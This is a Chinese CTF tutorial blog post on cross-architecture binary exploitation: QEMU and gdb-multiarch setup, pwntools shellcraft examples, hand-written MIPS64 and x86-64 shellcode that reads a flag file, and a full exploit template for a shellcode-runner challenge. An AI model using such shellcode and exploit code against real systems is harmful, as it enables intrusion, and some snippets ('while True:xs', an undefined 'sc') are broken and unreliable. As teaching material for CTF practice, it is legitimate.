异架构PWN-TIPS-01

  • Author:ZERO-A-ONE
  • Date:2022-08-20

0x1 环境配置

我们最常用的两个工具一个是QEMU,一个就是gdb-multiarch

1.1 QEMU

qemu是一个通用的、开源的机器仿真器和虚拟机。因此我们可以在linux操作系统中安装它,然后用它来调试其它架构平台的程序。如何安装见下面代码所示:

sudo apt update
sudo apt install qemu qemu-system qemu-user

在安装qemu后,对于静态链接的arm程序就已经可以直接运行了,使用命令qemu-arm prog运行32位的arm程序,其中prog指代程序名。但对于动态链接的程序还是无法正常运行,此时需要安装对应架构的动态链接库才行

使用命令apt-cache search "libc6" | grep -E "arm|mips"搜索可用的多架构运行库
在这里插入图片描述

我们只需要安装形如libc6-*-cross的运行库即可。

使用命令安装:

sudo apt-get install libc6-arm64-cross libc6-armel-cross libc6-armhf-cross libc6-mips-cross libc6-mips32-mips64-cross libc6-mips32-mips64el-cross libc6-mips64-cross libc6-mips64-mips-cross libc6-mips64-mipsel-cross libc6-mips64el-cross libc6-mipsel-cross libc6-mipsn32-mips-cross libc6-mipsn32-mips64-cross libc6-mipsn32-mips64el-cross libc6-mipsn32-mipsel-cross

当我们使用Pwntools里的asm命令时,可能会报如下错误:

dpkg-query: 没有找到与 *bin/armeabi*linux*-as* 相匹配的路径
[ERROR] Could not find 'as' installed for ContextType(arch = 'arm', bits = 32, endian = 'little', log_level = 10)
    Try installing binutils for this architecture:
    https://docs.pwntools.com/en/stable/install/binutils.html

此时我们需要安装binutils依赖,首先使用命令apt search binutils | grep [arch](此处的[arch]请自行替换)
在这里插入图片描述

随后安装显示出的包即可完成
在这里插入图片描述

1.2 gdb-multiarch

然后我们还需要安装gdb-multiarch

sudo apt update
sudo apt install gdb-multiarch

1.3 安装GEF

虽然我们日常使用的GDB插件都是pwndbg比较多,但是在调试其他架构的时候GEF是更为稳定的插件

https://github.com/hugsy/gef

安装方法如下:

# via the install script
## using curl
$ bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

## using wget
$ bash -c "$(wget https://gef.blah.cat/sh -O -)"

# or manually
$ wget -O ~/.gdbinit-gef.py -q https://gef.blah.cat/py
$ echo source ~/.gdbinit-gef.py >> ~/.gdbinit

# or alternatively from inside gdb directly
$ gdb -q
(gdb) pi import urllib.request as u, tempfile as t; g=t.NamedTemporaryFile(suffix='-gef.py'); open(g.name, 'wb+').write(u.urlopen('https://tinyurl.com/gef-main').read()); gdb.execute('source %s' % g.name)

0x2 开启调试

2.1 内核态

例子:

qemu-system-x86_64 \
-m 2G \
-kernel ./bzImage \
-drive file=./rootfs.img \
-append "console=ttyS0 root=/dev/sda earlyprintk=serial nokaslr" \
-nographic \
-s

-kernel kernel-qemu:指定启动所加载的内核文件类型,此处使用下载的内核映像类型kernel-qemu

-cpu arm1176:指定启动所使用的CPU文件,此处模拟ARM1176 CPURaspberry Pi板上搭载了Broadcom BCM2835,这个处理器用的是ARM1176JZ-F

-m 256:指定仿真系统可使用的内存大小,此处RAM的大小是256MB. 设定成比256MB大的值板子好像不能启动.

-M versatilepb:设定模拟的开发板类型。versatilepbARM Versatile Platform Board

-kernel kernel-qemu-4.4.34-jessie:指定启动所加载的内核镜像,此处使用下载的内核映像kernel-qemu-4.4.34-jessie

-append "root=/dev/sda2":指定内核的命令行。

-hda 2013-09-25-wheezy-raspbian.imgHarddisk 0使用2013-09-25-wheezy-raspbian.img

2.2 用户态

用户态的启动较为简单

下面以调试32位静态链接的arm架构程序为例,首先我们先使用qemu对应架构的指令工具来启动该程序,由于示例的程序是静态编译的,所以就没有使用-L指定动态链接库目录

qemu-mips64 -g 8888 ./ShellcodeRunnerMIPS64 

之后新开终端,使用gdb-multiarch,设置体系架构,还可以设置大小端序,连接本地调试端口即可

gdb-multiarch -q ./ShellcodeRunnerMIPS64
set architecture mips64
set endian big
target remote localhost:8888

这里使用set architechture指令可以查看所有架构选项
在这里插入图片描述

其实很多时候最好不要手动设置架构和大小端序,gdb-multiarch会自动进行设置

0x3 shellcode

在比赛中我们往往需要编写一些不同架构的shellcode,还好pwntools给我提供了shellcode框架,可以帮助我们方便的书写shellcode

https://docs.pwntools.com/en/stable/shellcraft.html#module-pwnlib.shellcraft

目前pwntools官方已经支持了以下架构

  • AArch64
  • ADM64
  • ARM
  • Intel 80386
  • MIPS
  • Thunb Mode

在使用之前我们最好设置一下context参数

context.arch="amd64"
context.endian='little'
context.log_level="debug"

3.1 API

shellcode框架提供了一些特别好用的API,比如我想cat一个文件就可以直接

shellcraft.amd64.linux.cat('/flag')

还有我们编写Shellcode最常用的mov指令

>>> print(shellcraft.amd64.mov('eax','ebx').rstrip())
    mov eax, ebx
>>> print(shellcraft.amd64.mov('eax', 0).rstrip())
    xor eax, eax /* 0 */
>>> print(shellcraft.amd64.mov('ax', 0).rstrip())
    xor ax, ax /* 0 */
>>> print(shellcraft.amd64.mov('rax', 0).rstrip())
    xor eax, eax /* 0 */
>>> print(shellcraft.amd64.mov('rdi', 'ax').rstrip())
    movzx edi, ax
>>> print(shellcraft.amd64.mov('al', 'ax').rstrip())
    /* moving ax into al, but this is a no-op */
>>> print(shellcraft.amd64.mov('ax', 'bl').rstrip())
    movzx ax, bl
>>> print(shellcraft.amd64.mov('eax', 1).rstrip())
    push 1
    pop rax
>>> print(shellcraft.amd64.mov('rax', 0xc0).rstrip())
    xor eax, eax
    mov al, 0xc0
>>> print(shellcraft.amd64.mov('rax', 0xc000).rstrip())
    xor eax, eax
    mov ah, 0xc000 >> 8
>>> print(shellcraft.amd64.mov('rax', 0xc0c0).rstrip())
    xor eax, eax
    mov ax, 0xc0c0
>>> print(shellcraft.amd64.mov('rdi', 0xff).rstrip())
    mov edi, 0x1010101 /* 255 == 0xff */
    xor edi, 0x10101fe
>>> print(shellcraft.amd64.mov('rax', 0xdead00ff).rstrip())
    mov eax, 0x1010101 /* 3735879935 == 0xdead00ff */
    xor eax, 0xdfac01fe
>>> print(shellcraft.amd64.mov('rax', 0x11dead00ff).rstrip())
    mov rax, 0x101010101010101 /* 76750323967 == 0x11dead00ff */
    push rax
    mov rax, 0x1010110dfac01fe
    xor [rsp], rax
    pop rax
>>> print(shellcraft.amd64.mov('rax', 0xffffffff).rstrip())
    mov eax, 0xffffffff
>>> print(shellcraft.amd64.mov('rax', 0x7fffffff).rstrip())
    mov eax, 0x7fffffff
>>> print(shellcraft.amd64.mov('rax', 0x80010101).rstrip())
    mov eax, 0x80010101
>>> print(shellcraft.amd64.mov('rax', 0x80000000).rstrip())
    mov eax, 0x1010101 /* 2147483648 == 0x80000000 */
    xor eax, 0x81010101
>>> print(shellcraft.amd64.mov('rax', 0xffffffffffffffff).rstrip())
    push 0xffffffffffffffff
    pop rax
>>> with context.local(os = 'linux'):
...     print(shellcraft.amd64.mov('eax', 'SYS_read').rstrip())
    xor eax, eax /* SYS_read */
>>> with context.local(os = 'freebsd'):
...     print(shellcraft.amd64.mov('eax', 'SYS_read').rstrip())
    push SYS_read /* 3 */
    pop rax
>>> with context.local(os = 'linux'):
...     print(shellcraft.amd64.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip())
    push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    pop rax

在操作栈的时候最常用的push指令

>>> print(pwnlib.shellcraft.amd64.push(0).rstrip())
    /* push 0 */
    push 1
    dec byte ptr [rsp]
>>> print(pwnlib.shellcraft.amd64.push(1).rstrip())
    /* push 1 */
    push 1
>>> print(pwnlib.shellcraft.amd64.push(256).rstrip())
    /* push 0x100 */
    push 0x1010201 ^ 0x100
    xor dword ptr [rsp], 0x1010201
>>> with context.local(os = 'linux'):
...     print(pwnlib.shellcraft.amd64.push('SYS_write').rstrip())
    /* push 'SYS_write' */
    push 1
>>> with context.local(os = 'freebsd'):
...     print(pwnlib.shellcraft.amd64.push('SYS_write').rstrip())
    /* push 'SYS_write' */
    push 4

设置寄存器

>>> print(shellcraft.setregs({
    
    'rax':1, 'rbx':'rax'}).rstrip())
    mov rbx, rax
    push 1
    pop rax
>>> print(shellcraft.setregs({
    
    'rax': 'SYS_write', 'rbx':'rax'}).rstrip())
    mov rbx, rax
    push SYS_write /* 1 */
    pop rax
>>> print(shellcraft.setregs({
    
    'rax':'rbx', 'rbx':'rax', 'rcx':'rbx'}).rstrip())
    mov rcx, rbx
    xchg rax, rbx
>>> print(shellcraft.setregs({
    
    'rax':1, 'rdx':0}).rstrip())
    push 1
    pop rax
    cdq /* rdx=0 */

设置系统调用syscall

>>> print(pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 1, 'rsp', 2, 0).rstrip())
    /* call execve(1, 'rsp', 2, 0) */
    xor r10d, r10d /* 0 */
    push SYS_execve /* 0x3b */
    pop rax
    push 1
    pop rdi
    push 2
    pop rdx
    mov rsi, rsp
    syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 2, 1, 0, -1).rstrip())
    /* call execve(2, 1, 0, -1) */
    push -1
    pop r10
    push SYS_execve /* 0x3b */
    pop rax
    push 2
    pop rdi
    push 1
    pop rsi
    cdq /* rdx=0 */
    syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall().rstrip())
    /* call syscall() */
    syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('rax', 'rdi', 'rsi').rstrip())
    /* call syscall('rax', 'rdi', 'rsi') */
    /* setregs noop */
    syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('rbp', None, None, 1).rstrip())
    /* call syscall('rbp', ?, ?, 1) */
    mov rax, rbp
    push 1
    pop rdx
    syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall(
...               'SYS_mmap', 0, 0x1000,
...               'PROT_READ | PROT_WRITE | PROT_EXEC',
...               'MAP_PRIVATE | MAP_ANONYMOUS',
...               -1, 0).rstrip())
    /* call mmap(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE | MAP_ANONYMOUS', -1, 0) */
    push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */
    pop r10
    push -1
    pop r8
    xor r9d, r9d /* 0 */
    push SYS_mmap /* 9 */
    pop rax
    xor edi, edi /* 0 */
    push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    pop rdx
    mov esi, 0x1010101 /* 4096 == 0x1000 */
    xor esi, 0x1011101
    syscall
>>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())
    /* open(file='/home/pwn/flag', oflag=0, mode=0) */
    /* push b'/home/pwn/flag\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f6e
    xor [rsp], rax
    mov rax, 0x77702f656d6f682f
    push rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call open() */
    push SYS_open /* 2 */
    pop rax
    syscall
>>> print(shellcraft.amd64.write(0, '*/', 2).rstrip())
    /* write(fd=0, buf='\x2a/', n=2) */
    /* push b'\x2a/\x00' */
    push 0x1010101 ^ 0x2f2a
    xor dword ptr [rsp], 0x1010101
    mov rsi, rsp
    xor edi, edi /* 0 */
    push 2
    pop rdx
    /* call write() */
    push SYS_write /* 1 */
    pop rax
    syscall

甚至可以一键get sh

>>> p = run_assembly(shellcraft.amd64.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'

比如我们编写一个最简单的cat flag的shellcode

sc = shellcraft.amd64.linux.cat('/flag')
sc += shellcraft.amd64.linux.exit(0)
shellcode = asm(sc,arch='amd64')

其中shellcraft会生成对应的汇编代码,而asm负责将汇编代码转换为对应的机器码,我们接下来只需要直接使用shellcode就好

p.sendlineafter("Shellcode >", shellcode)

3.2 手动

但是如果我们是KOH或者对shellcode长度有限制的时候,pwntools自动生成的shellcode会不符合条件。我们往往需要手动编写shellcode

例如这样:

from signal import pause
from pwn import *
import sys

#p = process(["qemu-mips64","-g","1234","./ShellcodeRunnerMIPS64"])
p = process(["qemu-mips64","./ShellcodeRunnerMIPS64"])
pause()

context.update(arch='mips',bits=64,endian="big")
sc_push = asm('''
    li $t1, 0x2f666c61
    sw $t1, -8($sp)
    li $t9, ~0x67000000
    not $t1, $t9
    sw $t1, -4($sp)
    daddiu $sp, $sp, -8
''',arch='mips64')

sc_open = asm('''
    dadd $a0, $sp, $0 
    slti $a1, $zero, 0xFFFF
''',arch='mips64')

sc_call_open = asm('''
    ori $v0, $zero, 0x138a
    syscall
''',arch='mips64')

sc_send = asm('''
    li $t9, ~1
    not $a0, $t9
    sw $v0, -4($sp) 
    lw $a1, -4($sp)
    slti $a2, $zero, 0xFFFF 
    li $a3, 0x7fffffff
''',arch='mips64')

sc_call_send = asm('''
    ori $v0, $zero, 0x13af
    syscall 
''',arch='mips64')

mips64_bytes = sc_push + sc_open + sc_call_open + sc_send + sc_call_send

print(len(mips64_bytes))

p.sendlineafter("Shellcode >", sc)
p.recv()
p.interactive()

关于手写汇编一些比较取巧的办法是先用对应架构的交叉编译器用C语言写,然后用IDA之类的打开编译器出来的二进制文件,扣下哪些汇编代码即可

这里还有一个网站可以实时查看用C语言编写各类架构的汇编代码:

https://gcc.godbolt.org/

3.3 polyshell

这里还提供了一种一个payload打好几种架构的技巧,常用于KOH

https://sectt.github.io/writeups/MidnightSun19/misc_polyshell/README

0x4 EXP

我们有一个通用的模版来写EXP

# -*- coding: utf-8 -*-
from pwn import *
import hashlib
import string
context.terminal = ['tmux','splitw','-h']
context.arch="amd64"
context.log_level="debug"

def debug(addr=-1,PIE=True):
    if addr == -1:
        gdb.attach(p)
    else:
        if PIE:
            #text_base = int(os.popen("pmap {}| awk '{
    
    {print $1}}'".format(p.pid)).setvbuflines()[1], 16)
            #gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
            gdb.attach(p,"b *$rebase({})".format(hex(addr)))
        else:
            gdb.attach(p,"b *{}".format(hex(addr))) 


def main(host,port=9999):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./ShellCodeRunnerX64")
        # p = process("./fuzz", env={"LD_PRELOAD":"./libc-2.27.so"})
        # debug(0x000000000000000)

    p.interactive()
    

if __name__ == "__main__":
    # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    main(args["REMOTE"])

其实context可以设置的属性参数很多,具体可以参看PWNTOOLS提供的手册

https://docs.pwntools.com/en/stable/context.html

然后在CTF中为了防止爆破往往还会加入POW机制,我们需要先通过POW验证

import random
from hashlib import sha256
while True:xs
	sol = random.randbytes(4)
	if sha256(chal + sol).hexdigest().startswith('00000'):
		print(sol.hex())
		break
# soll = ""
# for i in sol:
#   soll += hex(ord(i))[2:].rjust(2,'0')
sol = sol.hex()
soll = sol[6:8]+sol[4:6]+sol[2:4]+sol[0:2]
p.send(sol)

最后一个完整的EXP如下所示

# -*- coding: utf-8 -*-
from pwn import *
import hashlib

import string
context.terminal = ['tmux','splitw','-h']
context.arch="amd64"
context.log_level="debug"

def debug(addr=-1,PIE=True):
    if addr == -1:
        gdb.attach(p)
    else:
        if PIE:
            #text_base = int(os.popen("pmap {}| awk '{
    
    {print $1}}'".format(p.pid)).setvbuflines()[1], 16)
            #gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
            gdb.attach(p,"b *$rebase({})".format(hex(addr)))
        else:
            gdb.attach(p,"b *{}".format(hex(addr))) 


def main(host,port=9999):
    global p
    if host:
        p = remote(host,port)
    else:
        p = process("./ShellCodeRunnerX64")
        # p = process("./fuzz", env={"LD_PRELOAD":"./libc-2.27.so"})
        # debug(0x000000000000000)
    p.recvuntil(b"chal:")
    p.recvuntil(b"chal:")
    chal = p.recvline()[1:-1]
    print(b'cha',chal)
    
    # strr = ""
    # for i in range(0,256):
    #   strr+=chr(i)
    
    # sol = ""
    # for i in strr:
    #   for j in strr:
    #       for k in strr:
    #           for l in strr:
    #               sol = i+j+k+l
    #               if hashlib.sha256(chal + sol).hexdigest().startswith('00000'):
    #                   break
    # soll = ""
    # for i in sol:
    #   soll += hex(ord(i))[2:].rjust(2,'0')
    # p.send(soll)
    import random
    from hashlib import sha256
    while True:
        sol = random.randbytes(4)
        if sha256(chal + sol).hexdigest().startswith('00000'):
            print(sol.hex())
            break
    # soll = ""
    # for i in sol:
    #   soll += hex(ord(i))[2:].rjust(2,'0')
    sol = sol.hex()
    soll = sol[6:8]+sol[4:6]+sol[2:4]+sol[0:2]
    p.send(sol)


    #debug(0x080497B3, PIE=False)
    p.sendlineafter(b"Input your team token", b"xxxxxxx")
    shellcode = asm('''
        mov rax,0x67616c662f
        push rax
        mov rdi,rsp
        xor rsi,rsi
        mov eax,2
        syscall         
        //open("./flag",0)

        mov rdi,rax
        mov rsi,rsp
        mov rdx,0x100
        mov eax,0
        syscall         
        //read(3,rsp,0x100)
        
        mov rdi,1
        mov rsi,rsp
        mov rdx,0x100
        mov eax,1
        syscall         
        //write(1,rsp,0x100)
        mov rax, 0x3c
        mov rdi, 0
        syscall

        ''',arch='amd64')
    # sh = ""
   
    # for i in shellcode:

    p.sendafter(b"Input your mimic shellcode (0x1000 max, hex, end with '\\n')>",shellcode.hex()+"\n")
    #p.sendlineafter("Shellcode >", shellcode)

    #debug()
    #p.recv()

    
    p.interactive()
    

if __name__ == "__main__":
    # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    main(args["REMOTE"])

参考文献

猜你喜欢

转载自blog.csdn.net/kelxLZ/article/details/126643909
pwn